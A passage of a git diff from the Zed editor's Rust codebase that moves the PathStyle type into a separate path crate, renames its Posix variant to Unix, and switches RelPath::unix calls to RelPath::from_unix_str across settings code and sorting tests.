index ae63dbe75fcf5b..8d78a50ddd0bd0 100644
--- a/crates/settings/src/settings_store.rs
+++ b/crates/settings/src/settings_store.rs
@@ -228,7 +228,7 @@ impl LocalSettingsPath {
 
     pub fn to_proto(&self) -> String {
         match self {
-            Self::InWorktree(path) => path.to_proto(),
+            Self::InWorktree(path) => path.as_unix_str().to_owned(),
             Self::OutsideWorktree(path) => path.to_string_lossy().to_string(),
         }
     }
@@ -237,7 +237,7 @@ impl LocalSettingsPath {
         if is_outside_worktree {
             Ok(Self::OutsideWorktree(PathBuf::from(path).into()))
         } else {
-            Ok(Self::InWorktree(RelPath::from_proto(path)?))
+            Ok(Self::InWorktree(RelPath::from_unix_str(path)?.into()))
         }
     }
 }
@@ -1048,7 +1048,7 @@ impl SettingsStore {
                 return Err(InvalidSettingsError::Tasks {
                     message: "Attempted to submit tasks into the settings store".to_string(),
                     path: directory_path
-                        .join(RelPath::unix(task_file_name()).unwrap())
+                        .join(RelPath::from_unix_str(task_file_name()).unwrap())
                         .as_std_path()
                         .to_path_buf(),
                 });
@@ -1058,7 +1058,7 @@ impl SettingsStore {
                     message: "Attempted to submit debugger config into the settings store"
                         .to_string(),
                     path: directory_path
-                        .join(RelPath::unix(task_file_name()).unwrap())
+                        .join(RelPath::from_unix_str(task_file_name()).unwrap())
                         .as_std_path()
                         .to_path_buf(),
                 });
@@ -1085,7 +1085,9 @@ impl SettingsStore {
                     ParseStatus::Success => Ok(()),
                     ParseStatus::Unchanged => Ok(()),
                     ParseStatus::Failed { error } => Err(InvalidSettingsError::LocalSettings {
-                        path: directory_path.join(local_settings_file_relative_path()),
+                        path: directory_path
+                            .join(local_settings_file_relative_path())
+                            .into(),
                         message: error,
                     }),
                 }?;
@@ -2772,23 +2774,17 @@ mod tests {
 
         let local_1_child = (
             WorktreeId::from_usize(0),
-            RelPath::new(
-                std::path::Path::new("child1"),
-                util::paths::PathStyle::Posix,
-            )
-            .unwrap()
-            .into_arc(),
+            RelPath::new(std::path::Path::new("child1"), util::paths::PathStyle::Unix)
+                .unwrap()
+                .into_arc(),
         );
 
         let local_2 = (WorktreeId::from_usize(1), RelPath::empty_arc());
         let local_2_child = (
             WorktreeId::from_usize(1),
-            RelPath::new(
-                std::path::Path::new("child2"),
-                util::paths::PathStyle::Posix,
-            )
-            .unwrap()
-            .into_arc(),
+            RelPath::new(std::path::Path::new("child2"), util::paths::PathStyle::Unix)
+                .unwrap()
+                .into_arc(),
         );
 
         fn get(content: &SettingsContent) -> Option<&u32> {
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 4f5937db1b23a1..58e5d1f1b98070 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -4113,7 +4113,7 @@ impl SettingsWindow {
                 } else {
                     Some(worktree.update(cx, |tree, cx| {
                         tree.create_entry(
-                            settings_path.clone(),
+                            settings_path.clone().into(),
                             false,
                             Some(initial_project_settings_content().as_bytes().to_vec()),
                             cx,
@@ -4647,7 +4647,7 @@ fn update_settings_file(
                 anyhow::bail!("No settings window found");
             };
 
-            update_project_setting_file(worktree_id, rel_path, update, settings_window, cx)
+            update_project_setting_file(worktree_id, rel_path.into(), update, settings_window, cx)
         }
         SettingsUiFile::User => {
             // todo(settings_ui) error?
@@ -6477,7 +6477,7 @@ mod project_settings_update_tests {
             (worktree.read(cx).id(), worktree.downgrade())
         });
 
-        let rel_path: Arc<RelPath> = RelPath::unix(".zed/settings.json")
+        let rel_path: Arc<RelPath> = RelPath::from_unix_str(".zed/settings.json")
             .expect("valid path")
             .into_arc();
         let project_path = ProjectPath {
diff --git a/crates/util/Cargo.toml b/crates/util/Cargo.toml
index 340faa25222c14..125ff0389a55ff 100644
--- a/crates/util/Cargo.toml
+++ b/crates/util/Cargo.toml
@@ -15,7 +15,7 @@ path = "src/util.rs"
 doctest = true
 
 [features]
-test-support = ["rand", "util_macros"]
+test-support = ["rand", "util_macros", "path/test-support"]
 
 [dependencies]
 anyhow.workspace = true
@@ -42,6 +42,7 @@ url.workspace = true
 percent-encoding.workspace = true
 util_macros = { workspace = true, optional = true }
 gpui_util.workspace = true
+path = { workspace = true, features = ["serde"] }
 
 [target.'cfg(not(target_family = "wasm"))'.dependencies]
 smol.workspace = true
@@ -66,3 +67,4 @@ windows.workspace = true
 rand.workspace = true
 util_macros.workspace = true
 pretty_assertions.workspace = true
+path = { workspace = true, features = ["test-support"] }
diff --git a/crates/util/src/paths.rs b/crates/util/src/paths.rs
index cb190effe45cc4..321180a1f09cca 100644
--- a/crates/util/src/paths.rs
+++ b/crates/util/src/paths.rs
@@ -2,7 +2,6 @@ use globset::{GlobBuilder, GlobSet, GlobSetBuilder};
 use itertools::Itertools;
 use regex::Regex;
 use serde::{Deserialize, Serialize};
-use std::borrow::Cow;
 use std::cmp::Ordering;
 use std::error::Error;
 use std::fmt::{Display, Formatter};
@@ -15,8 +14,10 @@ use std::{
     sync::LazyLock,
 };
 
-use crate::rel_path::RelPath;
-use crate::rel_path::RelPathBuf;
+use path::rel_path::RelPath;
+use path::rel_path::RelPathBuf;
+
+pub use path::PathStyle;
 
 /// Returns the path to the user's home directory.
 pub fn home_dir() -> &'static PathBuf {
@@ -349,199 +350,6 @@ impl AsRef<Path> for SanitizedPath {
     }
 }
 
-#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
-pub enum PathStyle {
-    Posix,
-    Windows,
-}
-
-impl PathStyle {
-    #[cfg(target_os = "windows")]
-    pub const fn local() -> Self {
-        PathStyle::Windows
-    }
-
-    #[cfg(not(target_os = "windows"))]
-    pub const fn local() -> Self {
-        PathStyle::Posix
-    }
-
-    #[inline]
-    pub fn primary_separator(&self) -> &'static str {
-        match self {
-            PathStyle::Posix => "/",
-            PathStyle::Windows => "\\",
-        }
-    }
-
-    pub fn separators(&self) -> &'static [&'static str] {
-        match self {
-            PathStyle::Posix => &["/"],
-            PathStyle::Windows => &["\\", "/"],
-        }
-    }
-
-    pub fn separators_ch(&self) -> &'static [char] {
-        match self {
-            PathStyle::Posix => &['/'],
-            PathStyle::Windows => &['\\', '/'],
-        }
-    }
-
-    pub fn is_absolute(&self, path_like: &str) -> bool {
-        path_like.starts_with('/')
-            || *self == PathStyle::Windows
-                && (path_like.starts_with('\\')
-                    || path_like
-                        .chars()
-                        .next()
-                        .is_some_and(|c| c.is_ascii_alphabetic())
-                        && path_like[1..]
-                            .strip_prefix(':')
-                            .is_some_and(|path| path.starts_with('/') || path.starts_with('\\')))
-    }
-
-    pub fn is_windows(&self) -> bool {
-        *self == PathStyle::Windows
-    }
-
-    pub fn is_posix(&self) -> bool {
-        *self == PathStyle::Posix
-    }
-
-    pub fn join(self, left: impl AsRef<Path>, right: impl AsRef<Path>) -> Option<String> {
-        let right = right.as_ref().to_str()?;
-        if is_absolute(right, self) {
-            return None;
-        }
-        let left = left.as_ref().to_str()?;
-        if left.is_empty() {
-            Some(right.into())
-        } else {
-            Some(format!(
-                "{left}{}{right}",
-                if left.ends_with(self.primary_separator()) {
-                    ""
-                } else {
-                    self.primary_separator()
-                }
-            ))
-        }
-    }
-
-    pub fn join_path(
-        self,
-        left: impl AsRef<Path>,
-        right: impl AsRef<Path>,
-    ) -> anyhow::Result<PathBuf> {
-        let left = left
-            .as_ref()
-            .to_str()
-            .ok_or_else(|| anyhow::anyhow!("Path contains invalid UTF-8"))?;
-        let right = right.as_ref();
-        let right_string = right
-            .to_str()
-            .ok_or_else(|| anyhow::anyhow!("Path contains invalid UTF-8"))?;
-        let joined = self
-            .join(left, right_string)
-            .ok_or_else(|| anyhow::anyhow!("Path must be relative: {right:?}"))?;
-        Ok(PathBuf::from(self.normalize(&joined)))
-    }
-
-    pub fn normalize(self, path_like: &str) -> String {
-        match self {
-            PathStyle::Windows => crate::normalize_path(Path::new(path_like))
-                .to_string_lossy()
-                .into_owned(),
-            PathStyle::Posix => {
-                let is_absolute = path_like.starts_with('/');
-                let remainder = if is_absolute {
-                    path_like.trim_start_matches('/')
-                } else {
-                    path_like
-                };
-
-                let mut components = Vec::new();
-                for component in remainder.split(self.separators_ch()) {
-                    match component {
-                        "" | "." => {}
-                        ".." => {
-                            if components
-                                .last()
-                                .is_some_and(|component| *component != "..")
-                            {
-                                components.pop();
-                            } else if !is_absolute {
-                                components.push(component);
-                            }
-                        }
-                        component => components.push(component),
-                    }
-                }
-
-                let normalized = components.join(self.primary_separator());
-                if is_absolute && normalized.is_empty() {
-                    "/".to_string()
-                } else if is_absolute {
-                    format!("/{normalized}")
-                } else {
-                    normalized
-                }
-            }
-        }
-    }
-
-    pub fn split(self, path_like: &str) -> (Option<&str>, &str) {
-        let Some(pos) = path_like.rfind(self.primary_separator()) else {
-            return (None, path_like);
-        };
-        let filename_start = pos + self.primary_separator().len();
-        (
-            Some(&path_like[..filename_start]),
-            &path_like[filename_start..],
-        )
-    }
-
-    pub fn strip_prefix<'a>(
-        &self,
-        child: &'a Path,
-        parent: &'a Path,
-    ) -> Option<std::borrow::Cow<'a, RelPath>> {
-        let parent = parent.to_str()?;
-        if parent.is_empty() {
-            return RelPath::new(child, *self).ok();
-        }
-        let parent = self
-            .separators()
-            .iter()
-            .find_map(|sep| parent.strip_suffix(sep))
-            .unwrap_or(parent);
-        let child = child.to_str()?;
-
-        // Match behavior of std::path::Path, which is case-insensitive for drive letters (e.g., "C:" == "c:")
-        let stripped = if self.is_windows()
-            && child.as_bytes().get(1) == Some(&b':')
-            && parent.as_bytes().get(1) == Some(&b':')
-            && child.as_bytes()[0].eq_ignore_ascii_case(&parent.as_bytes()[0])
-        {
-            child[2..].strip_prefix(&parent[2..])?
-        } else {
-            child.strip_prefix(parent)?
-        };
-        if let Some(relative) = self
-            .separators()
-            .iter()
-            .find_map(|sep| stripped.strip_prefix(sep))
-        {
-            RelPath::new(relative.as_ref(), *self).ok()
-        } else if stripped.is_empty() {
-            Some(Cow::Borrowed(RelPath::empty()))
-        } else {
-            None
-        }
-    }
-}
-
 #[derive(Debug, Clone)]
 pub struct RemotePathBuf {
     style: PathStyle,
@@ -1538,7 +1346,7 @@ impl UrlExt for url::Url {
                 str_len.saturating_sub(self.scheme().len() + 3)
             };
             return match source_path_style {
-                PathStyle::Posix => {
+                PathStyle::Unix => {
                     file_url_segments_to_pathbuf_posix(estimated_capacity, host, segments)
                 }
                 PathStyle::Windows => {
@@ -1576,7 +1384,7 @@ impl UrlExt for url::Url {
 
             let path = String::from_utf8(bytes).map_err(|_| ())?;
             debug_assert!(
-                PathStyle::Posix.is_absolute(&path),
+                PathStyle::Unix.is_absolute(&path),
                 "to_file_path() failed to produce an absolute Path"
             );
 
@@ -1659,7 +1467,7 @@ impl UrlExt for url::Url {
 
 #[cfg(test)]
 mod tests {
-    use crate::rel_path::rel_path;
+    use path::rel_path::rel_path;
 
     use super::*;
     use util_macros::perf;
@@ -1676,7 +1484,7 @@ mod tests {
 
     #[test]
     fn test_join_path_uses_path_style_separator() {
-        let posix_path = PathStyle::Posix
+        let posix_path = PathStyle::Unix
             .join_path(Path::new("/home/user/dev"), "worktrees")
             .unwrap();
         let windows_path = PathStyle::Windows
@@ -1693,7 +1501,7 @@ mod tests {
     #[test]
     fn test_normalize_uses_path_style_separator() {
         assert_eq!(
-            PathStyle::Posix.normalize("/home/user/dev/../worktrees/./zed"),
+            PathStyle::Unix.normalize("/home/user/dev/../worktrees/./zed"),
             "/home/user/worktrees/zed"
         );
         assert_eq!(
@@ -1703,7 +1511,7 @@ mod tests {
     }
 
     fn rel_path_entry(path: &'static str, is_file: bool) -> (&'static RelPath, bool) {
-        (RelPath::unix(path).unwrap(), is_file)
+        (RelPath::from_unix_str(path).unwrap(), is_file)
     }
 
     fn sorted_rel_paths(
@@ -1838,22 +1646,22 @@ mod tests {
     fn compare_rel_paths_mixed_case_insensitive() {
         // Test that mixed mode is case-insensitive
         let mut paths = vec![
-            (RelPath::unix("zebra.txt").unwrap(), true),
-            (RelPath::unix("Apple").unwrap(), false),
-            (RelPath::unix("banana.rs").unwrap(), true),
-            (RelPath::unix("Carrot").unwrap(), false),
-            (RelPath::unix("aardvark.txt").unwrap(), true),
+            (RelPath::from_unix_str("zebra.txt").unwrap(), true),
+            (RelPath::from_unix_str("Apple").unwrap(), false),
+            (RelPath::from_unix_str("banana.rs").unwrap(), true),
+            (RelPath::from_unix_str("Carrot").unwrap(), false),
+            (RelPath::from_unix_str("aardvark.txt").unwrap(), true),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         // Case-insensitive: aardvark < Apple < banana < Carrot < zebra
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("aardvark.txt").unwrap(), true),
-                (RelPath::unix("Apple").unwrap(), false),
-                (RelPath::unix("banana.rs").unwrap(), true),
-                (RelPath::unix("Carrot").unwrap(), false),
-                (RelPath::unix("zebra.txt").unwrap(), true),
+                (RelPath::from_unix_str("aardvark.txt").unwrap(), true),
+                (RelPath::from_unix_str("Apple").unwrap(), false),
+                (RelPath::from_unix_str("banana.rs").unwrap(), true),
+                (RelPath::from_unix_str("Carrot").unwrap(), false),
+                (RelPath::from_unix_str("zebra.txt").unwrap(), true),
             ]
         );
     }
@@ -1862,11 +1670,11 @@ mod tests {
     fn compare_rel_paths_files_first_basic() {
         // Test that files come before directories
         let mut paths = vec![
-            (RelPath::unix("zebra.txt").unwrap(), true),
-            (RelPath::unix("Apple").unwrap(), false),
-            (RelPath::unix("banana.rs").unwrap(), true),
-            (RelPath::unix("Carrot").unwrap(), false),
-            (RelPath::unix("aardvark.txt").unwrap(), true),
+            (RelPath::from_unix_str("zebra.txt").unwrap(), true),
+            (RelPath::from_unix_str("Apple").unwrap(), false),
+            (RelPath::from_unix_str("banana.rs").unwrap(), true),
+            (RelPath::from_unix_str("Carrot").unwrap(), false),
+            (RelPath::from_unix_str("aardvark.txt").unwrap(), true),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
@@ -1874,11 +1682,11 @@ mod tests {
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("aardvark.txt").unwrap(), true),
-                (RelPath::unix("banana.rs").unwrap(), true),
-                (RelPath::unix("zebra.txt").unwrap(), true),
-                (RelPath::unix("Apple").unwrap(), false),
-                (RelPath::unix("Carrot").unwrap(), false),
+                (RelPath::from_unix_str("aardvark.txt").unwrap(), true),
+                (RelPath::from_unix_str("banana.rs").unwrap(), true),
+                (RelPath::from_unix_str("zebra.txt").unwrap(), true),
+                (RelPath::from_unix_str("Apple").unwrap(), false),
+                (RelPath::from_unix_str("Carrot").unwrap(), false),
             ]
         );
     }
@@ -1887,22 +1695,22 @@ mod tests {
     fn compare_rel_paths_files_first_case_insensitive() {
         // Test case-insensitive sorting within files and directories
         let mut paths = vec![
-            (RelPath::unix("Zebra.txt").unwrap(), true),
-            (RelPath::unix("apple").unwrap(), false),
-            (RelPath::unix("Banana.rs").unwrap(), true),
-            (RelPath::unix("carrot").unwrap(), false),
-            (RelPath::unix("Aardvark.txt").unwrap(), true),
+            (RelPath::from_unix_str("Zebra.txt").unwrap(), true),
+            (RelPath::from_unix_str("apple").unwrap(), false),
+            (RelPath::from_unix_str("Banana.rs").unwrap(), true),
+            (RelPath::from_unix_str("carrot").unwrap(), false),
+            (RelPath::from_unix_str("Aardvark.txt").unwrap(), true),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("Aardvark.txt").unwrap(), true),
-                (RelPath::unix("Banana.rs").unwrap(), true),
-                (RelPath::unix("Zebra.txt").unwrap(), true),
-                (RelPath::unix("apple").unwrap(), false),
-                (RelPath::unix("carrot").unwrap(), false),
+                (RelPath::from_unix_str("Aardvark.txt").unwrap(), true),
+                (RelPath::from_unix_str("Banana.rs").unwrap(), true),
+                (RelPath::from_unix_str("Zebra.txt").unwrap(), true),
+                (RelPath::from_unix_str("apple").unwrap(), false),
+                (RelPath::from_unix_str("carrot").unwrap(), false),
             ]
         );
     }
@@ -1911,22 +1719,22 @@ mod tests {
     fn compare_rel_paths_files_first_numeric() {
         // Test natural number sorting with files first
         let mut paths = vec![
-            (RelPath::unix("file10.txt").unwrap(), true),
-            (RelPath::unix("dir2").unwrap(), false),
-            (RelPath::unix("file2.txt").unwrap(), true),
-            (RelPath::unix("dir10").unwrap(), false),
-            (RelPath::unix("file1.txt").unwrap(), true),
+            (RelPath::from_unix_str("file10.txt").unwrap(), true),
+            (RelPath::from_unix_str("dir2").unwrap(), false),
+            (RelPath::from_unix_str("file2.txt").unwrap(), true),
+            (RelPath::from_unix_str("dir10").unwrap(), false),
+            (RelPath::from_unix_str("file1.txt").unwrap(), true),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("file1.txt").unwrap(), true),
-                (RelPath::unix("file2.txt").unwrap(), true),
-                (RelPath::unix("file10.txt").unwrap(), true),
-                (RelPath::unix("dir2").unwrap(), false),
-                (RelPath::unix("dir10").unwrap(), false),
+                (RelPath::from_unix_str("file1.txt").unwrap(), true),
+                (RelPath::from_unix_str("file2.txt").unwrap(), true),
+                (RelPath::from_unix_str("file10.txt").unwrap(), true),
+                (RelPath::from_unix_str("dir2").unwrap(), false),
+                (RelPath::from_unix_str("dir10").unwrap(), false),
             ]
         );
     }
@@ -1935,18 +1743,18 @@ mod tests {
     fn compare_rel_paths_mixed_case() {
         // Test case-insensitive sorting with varied capitalization
         let mut paths = vec![
-            (RelPath::unix("README.md").unwrap(), true),
-            (RelPath::unix("readme.txt").unwrap(), true),
-            (RelPath::unix("ReadMe.rs").unwrap(), true),
+            (RelPath::from_unix_str("README.md").unwrap(), true),
+            (RelPath::from_unix_str("readme.txt").unwrap(), true),
+            (RelPath::from_unix_str("ReadMe.rs").unwrap(), true),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         // All "readme" variants should group together, sorted by extension
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("README.md").unwrap(), true),
-                (RelPath::unix("ReadMe.rs").unwrap(), true),
-                (RelPath::unix("readme.txt").unwrap(), true),
+                (RelPath::from_unix_str("README.md").unwrap(), true),
+                (RelPath::from_unix_str("ReadMe.rs").unwrap(), true),
+                (RelPath::from_unix_str("readme.txt").unwrap(), true),
             ]
         );
     }
@@ -1955,20 +1763,20 @@ mod tests {
     fn compare_rel_paths_mixed_files_and_dirs() {
         // Verify directories and files are still mixed
         let mut paths = vec![
-            (RelPath::unix("file2.txt").unwrap(), true),
-            (RelPath::unix("Dir1").unwrap(), false),
-            (RelPath::unix("file1.txt").unwrap(), true),
-            (RelPath::unix("dir2").unwrap(), false),
+            (RelPath::from_unix_str("file2.txt").unwrap(), true),
+            (RelPath::from_unix_str("Dir1").unwrap(), false),
+            (RelPath::from_unix_str("file1.txt").unwrap(), true),
+            (RelPath::from_unix_str("dir2").unwrap(), false),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         // Case-insensitive: dir1, dir2, file1, file2 (all mixed)
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("Dir1").unwrap(), false),
-                (RelPath::unix("dir2").unwrap(), false),
-                (RelPath::unix("file1.txt").unwrap(), true),
-                (RelPath::unix("file2.txt").unwrap(), true),
+                (RelPath::from_unix_str("Dir1").unwrap(), false),
+                (RelPath::from_unix_str("dir2").unwrap(), false),
+                (RelPath::from_unix_str("file1.txt").unwrap(), true),
+                (RelPath::from_unix_str("file2.txt").unwrap(), true),
             ]
         );
     }
@@ -1976,28 +1784,28 @@ mod tests {
     #[perf]
     fn compare_rel_paths_mixed_same_name_different_case_file_and_dir() {
         let mut paths = vec![
-            (RelPath::unix("Hello.txt").unwrap(), true),
-            (RelPath::unix("hello").unwrap(), false),
+            (RelPath::from_unix_str("Hello.txt").unwrap(), true),
+            (RelPath::from_unix_str("hello").unwrap(), false),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("hello").unwrap(), false),
-                (RelPath::unix("Hello.txt").unwrap(), true),
+                (RelPath::from_unix_str("hello").unwrap(), false),
+                (RelPath::from_unix_str("Hello.txt").unwrap(), true),
             ]
         );
 
         let mut paths = vec![
-            (RelPath::unix("hello").unwrap(), false),
-            (RelPath::unix("Hello.txt").unwrap(), true),
+            (RelPath::from_unix_str("hello").unwrap(), false),
+            (RelPath::from_unix_str("Hello.txt").unwrap(), true),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("hello").unwrap(), false),
-                (RelPath::unix("Hello.txt").unwrap(), true),
+                (RelPath::from_unix_str("hello").unwrap(), false),
+                (RelPath::from_unix_str("Hello.txt").unwrap(), true),
             ]
         );
     }
@@ -2006,19 +1814,19 @@ mod tests {
     fn compare_rel_paths_mixed_with_nested_paths() {
         // Test that nested paths still work correctly
         let mut paths = vec![
-            (RelPath::unix("src/main.rs").unwrap(), true),
-            (RelPath::unix("Cargo.toml").unwrap(), true),
-            (RelPath::unix("src").unwrap(), false),
-            (RelPath::unix("target").unwrap(), false),
+            (RelPath::from_unix_str("src/main.rs").unwrap(), true),
+            (RelPath::from_unix_str("Cargo.toml").unwrap(), true),
+            (RelPath::from_unix_str("src").unwrap(), false),
+            (RelPath::from_unix_str("target").unwrap(), false),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("Cargo.toml").unwrap(), true),
-                (RelPath::unix("src").unwrap(), false),
-                (RelPath::unix("src/main.rs").unwrap(), true),
-                (RelPath::unix("target").unwrap(), false),
+                (RelPath::from_unix_str("Cargo.toml").unwrap(), true),
+                (RelPath::from_unix_str("src").unwrap(), false),
+                (RelPath::from_unix_str("src/main.rs").unwrap(), true),
+                (RelPath::from_unix_str("target").unwrap(), false),
             ]
         );
     }
@@ -2027,20 +1835,20 @@ mod tests {
     fn compare_rel_paths_files_first_with_nested() {
         // Files come before directories, even with nested paths
         let mut paths = vec![
-            (RelPath::unix("src/lib.rs").unwrap(), true),
-            (RelPath::unix("README.md").unwrap(), true),
-            (RelPath::unix("src").unwrap(), false),
-            (RelPath::unix("tests").unwrap(), false),
+            (RelPath::from_unix_str("src/lib.rs").unwrap(), true),
+            (RelPath::from_unix_str("README.md").unwrap(), true),
+            (RelPath::from_unix_str("src").unwrap(), false),
+            (RelPath::from_unix_str("tests").unwrap(), false),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("README.md").unwrap(), true),
-                (RelPath::unix("src").unwrap(), false),
-                (RelPath::unix("src/lib.rs").unwrap(), true),
-                (RelPath::unix("tests").unwrap(), false),
+                (RelPath::from_unix_str("README.md").unwrap(), true),
+                (RelPath::from_unix_str("src").unwrap(), false),
+                (RelPath::from_unix_str("src/lib.rs").unwrap(), true),
+                (RelPath::from_unix_str("tests").unwrap(), false),
             ]
         );
     }
@@ -2049,19 +1857,19 @@ mod tests {
     fn compare_rel_paths_mixed_dotfiles() {
         // Test that dotfiles are handled correctly in mixed mode
         let mut paths = vec![
-            (RelPath::unix(".gitignore").unwrap(), true),
-            (RelPath::unix("README.md").unwrap(), true),
-            (RelPath::unix(".github").unwrap(), false),
-            (RelPath::unix("src").unwrap(), false),
+            (RelPath::from_unix_str(".gitignore").unwrap(), true),
+            (RelPath::from_unix_str("README.md").unwrap(), true),
+            (RelPath::from_unix_str(".github").unwrap(), false),
+            (RelPath::from_unix_str("src").unwrap(), false),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix(".github").unwrap(), false),
-                (RelPath::unix(".gitignore").unwrap(), true),
-                (RelPath::unix("README.md").unwrap(), true),
-                (RelPath::unix("src").unwrap(), false),
+                (RelPath::from_unix_str(".github").unwrap(), false),
+                (RelPath::from_unix_str(".gitignore").unwrap(), true),
+                (RelPath::from_unix_str("README.md").unwrap(), true),
+                (RelPath::from_unix_str("src").unwrap(), false),
             ]
         );
     }
@@ -2070,20 +1878,20 @@ mod tests {
     fn compare_rel_paths_files_first_dotfiles() {
         // Test that dotfiles come first when they're files
         let mut paths = vec![
-            (RelPath::unix(".gitignore").unwrap(), true),
-            (RelPath::unix("README.md").unwrap(), true),
-            (RelPath::unix(".github").unwrap(), false),
-            (RelPath::unix("src").unwrap(), false),
+            (RelPath::from_unix_str(".gitignore").unwrap(), true),
+            (RelPath::from_unix_str("README.md").unwrap(), true),
+            (RelPath::from_unix_str(".github").unwrap(), false),
+            (RelPath::from_unix_str("src").unwrap(), false),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix(".gitignore").unwrap(), true),
-                (RelPath::unix("README.md").unwrap(), true),
-                (RelPath::unix(".github").unwrap(), false),
-                (RelPath::unix("src").unwrap(), false),
+                (RelPath::from_unix_str(".gitignore").unwrap(), true),
+                (RelPath::from_unix_str("README.md").unwrap(), true),
+                (RelPath::from_unix_str(".github").unwrap(), false),
+                (RelPath::from_unix_str("src").unwrap(), false),
             ]
         );
     }
@@ -2092,17 +1900,17 @@ mod tests {
     fn compare_rel_paths_mixed_same_stem_different_extension() {
         // Files with same stem but different extensions should sort by extension
         let mut paths = vec![
-            (RelPath::unix("file.rs").unwrap(), true),
-            (RelPath::unix("file.md").unwrap(), true),
-            (RelPath::unix("file.txt").unwrap(), true),
+            (RelPath::from_unix_str("file.rs").unwrap(), true),
+            (RelPath::from_unix_str("file.md").unwrap(), true),
+            (RelPath::from_unix_str("file.txt").unwrap(), true),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("file.md").unwrap(), true),
-                (RelPath::unix("file.rs").unwrap(), true),
-                (RelPath::unix("file.txt").unwrap(), true),
+                (RelPath::from_unix_str("file.md").unwrap(), true),
+                (RelPath::from_unix_str("file.rs").unwrap(), true),
+                (RelPath::from_unix_str("file.txt").unwrap(), true),
             ]
         );
     }
@@ -2111,18 +1919,18 @@ mod tests {
     fn compare_rel_paths_files_first_same_stem() {
         // Same stem files should still sort by extension with files_first
         let mut paths = vec![
-            (RelPath::unix("main.rs").unwrap(), true),
-            (RelPath::unix("main.c").unwrap(), true),
-            (RelPath::unix("main").unwrap(), false),
+            (RelPath::from_unix_str("main.rs").unwrap(), true),
+            (RelPath::from_unix_str("main.c").unwrap(), true),
+            (RelPath::from_unix_str("main").unwrap(), false),
         ];
         paths
             .sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::FilesFirst, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("main.c").unwrap(), true),
-                (RelPath::unix("main.rs").unwrap(), true),
-                (RelPath::unix("main").unwrap(), false),
+                (RelPath::from_unix_str("main.c").unwrap(), true),
+                (RelPath::from_unix_str("main.rs").unwrap(), true),
+                (RelPath::from_unix_str("main").unwrap(), false),
             ]
         );
     }
@@ -2131,19 +1939,19 @@ mod tests {
     fn compare_rel_paths_mixed_deep_nesting() {
         // Test sorting with deeply nested paths
         let mut paths = vec![
-            (RelPath::unix("a/b/c.txt").unwrap(), true),
-            (RelPath::unix("A/B.txt").unwrap(), true),
-            (RelPath::unix("a.txt").unwrap(), true),
-            (RelPath::unix("A.txt").unwrap(), true),
+            (RelPath::from_unix_str("a/b/c.txt").unwrap(), true),
+            (RelPath::from_unix_str("A/B.txt").unwrap(), true),
+            (RelPath::from_unix_str("a.txt").unwrap(), true),
+            (RelPath::from_unix_str("A.txt").unwrap(), true),
         ];
         paths.sort_by(|&a, &b| compare_rel_paths_by(a, b, SortMode::Mixed, SortOrder::Default));
         assert_eq!(
             paths,
             vec![
-                (RelPath::unix("a/b/c.txt").unwrap(), true),
-                (RelPath::unix("A/B.txt").unwrap(), true),
-                (RelPath::unix("a.txt").unwrap(), true),
-                (RelPath::unix("A.txt").unwrap(), true),
+                (RelPath::from_unix_str("a/b/c.txt").unwrap(), true),
+                (RelPath::from_unix_str("A/B.txt").unwrap(), true),
+                (RelPath::from_unix_str("a.txt").unwrap(), true),
+                (RelPath::from_unix_str("A.txt").unwrap(), true),
             ]
         );
     }
@@ -2813,7 +2621,7 @@ mod tests {
     // fn edge_of_glob() {
     //     let path = Path::new("/work/node_modules");
     //     let path_matcher =
-    //         PathMatcher::new(&["**/node_modules/**".to_owned()], PathStyle::Posix).unwrap();
+    //         PathMatcher::new(&["**/node_modules/**".to_owned()], PathStyle::Unix).unwrap();
     //     assert!(
     //         path_matcher.is_match(path),
     //         "Path matcher should match {path:?}"
@@ -2823,7 +2631,7 @@ mod tests {
     // #[perf]
     // fn file_in_dirs() {
     //     let path = Path::new("/work/.env");
-    //     let path_matcher = PathMatcher::new(&["**/.env".to_owned()], PathStyle::Posix).unwrap();
+    //     let path_matcher = PathMatcher::new(&["**/.env".to_owned()], PathStyle::Unix).unwrap();
     //     assert!(
     //         path_matcher.is_match(path),
